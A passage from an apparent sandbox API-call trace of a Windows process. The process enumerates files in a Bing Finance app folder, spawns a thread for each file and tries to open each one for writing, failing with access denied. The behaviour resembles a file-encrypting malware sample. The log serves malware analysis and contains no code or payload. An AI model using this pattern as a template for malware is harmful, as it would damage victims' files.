	[0079.249] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.250] wcscmp (_String1=".", _String2=".") returned 0
	[0079.250] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2911b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.250] wcscmp (_String1="..", _String2=".") returned 1
	[0079.250] wcscmp (_String1="..", _String2="..") returned 0
	[0079.250] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0079.250] wcscmp (_String1="Themes", _String2=".") returned 1
	[0079.250] wcscmp (_String1="Themes", _String2="..") returned 1
	[0079.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477f990
	[0079.250] wcscpy (in: _Dest=0x477f990, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0079.250] wcscat (in: _Dest=0x477f990, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0079.250] wcscat (in: _Dest=0x477f990, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0079.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x477f990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154
	[0079.251] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77bb9eb0, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa291621, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77bb9eb0, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0
	[0079.251] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6feb8) returned 1
	[0079.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cab00) returned 1

Thread:
	id = 734
	os_tid = 0x1aa4

	[0079.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x2e3bcf0
	[0079.252] wcscpy (in: _Dest=0x2e3bcf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0079.252] wcscat (in: _Dest=0x2e3bcf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0079.252] wcscat (in: _Dest=0x2e3bcf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0079.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.253] wcscmp (_String1=".", _String2=".") returned 0
	[0079.253] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.253] wcscmp (_String1="..", _String2=".") returned 1
	[0079.253] wcscmp (_String1="..", _String2="..") returned 0
	[0079.253] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eefc3c1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa292b95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eefc3c1, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0079.253] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3bcf0) returned 1
	[0079.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3bde0) returned 1

Thread:
	id = 735
	os_tid = 0x1aa8

	[0079.254] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini")) returned 0x20
	[0079.254] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.254] GetLastError () returned 0x5
	[0079.254] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", dwFileAttributes=0x20) returned 0
	[0079.255] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f610) returned 1

Thread:
	id = 736
	os_tid = 0x1aac

	[0079.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47caa30
	[0079.256] wcscpy (in: _Dest=0x47caa30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.256] wcscat (in: _Dest=0x47caa30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.256] wcscat (in: _Dest=0x47caa30, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*"
	[0079.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.256] wcscmp (_String1=".", _String2=".") returned 0
	[0079.256] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293090, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.257] wcscmp (_String1="..", _String2=".") returned 1
	[0079.257] wcscmp (_String1="..", _String2="..") returned 0
	[0079.257] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstrap.js", cAlternateFileName="")) returned 1
	[0079.257] wcscmp (_String1="bootstrap.js", _String2=".") returned 1
	[0079.257] wcscmp (_String1="bootstrap.js", _String2="..") returned 1
	[0079.257] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4767408
	[0079.257] wcscpy (in: _Dest=0x4767408, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.257] wcscat (in: _Dest=0x4767408, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.257] wcscat (in: _Dest=0x4767408, _Source="bootstrap.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\bootstrap.js"
	[0079.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4767408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158
	[0079.257] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 1
	[0079.257] wcscmp (_String1="ormma.js", _String2=".") returned 1
	[0079.257] wcscmp (_String1="ormma.js", _String2="..") returned 1
	[0079.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f610
	[0079.258] wcscpy (in: _Dest=0x477f610, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS"
	[0079.258] wcscat (in: _Dest=0x477f610, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.258] wcscat (in: _Dest=0x477f610, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js"
	[0079.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c
	[0079.258] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77be010a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77be010a, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77be010a, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0079.258] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47caa30) returned 1
	[0079.259] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476cab8) returned 1

Thread:
	id = 737
	os_tid = 0x1ab0

	[0079.260] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml")) returned 0x20
	[0079.262] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.262] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.262] GetLastError () returned 0x5
	[0079.262] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ee30) returned 1

Thread:
	id = 738
	os_tid = 0x1ab4

	[0079.263] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.263] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.264] GetLastError () returned 0x5
	[0079.264] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b730) returned 1

Thread:
	id = 739
	os_tid = 0x1ab8

	[0079.265] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd")) returned 0x20
	[0079.265] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.265] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.265] GetLastError () returned 0x5
	[0079.265] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.265] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cad70) returned 1

Thread:
	id = 740
	os_tid = 0x1abc

	[0079.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476fbf0
	[0079.266] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.266] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.266] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*"
	[0079.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.266] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.266] wcscmp (_String1=".", _String2=".") returned 0
	[0079.267] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0986e1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.267] wcscmp (_String1="..", _String2=".") returned 1
	[0079.267] wcscmp (_String1="..", _String2="..") returned 0
	[0079.267] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0079.267] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0079.267] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0079.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47caf10
	[0079.267] wcscpy (in: _Dest=0x47caf10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.267] wcscat (in: _Dest=0x47caf10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.267] wcscat (in: _Dest=0x47caf10, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0079.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47caf10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160
	[0079.267] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0079.267] wcscmp (_String1="index.txt", _String2=".") returned 1
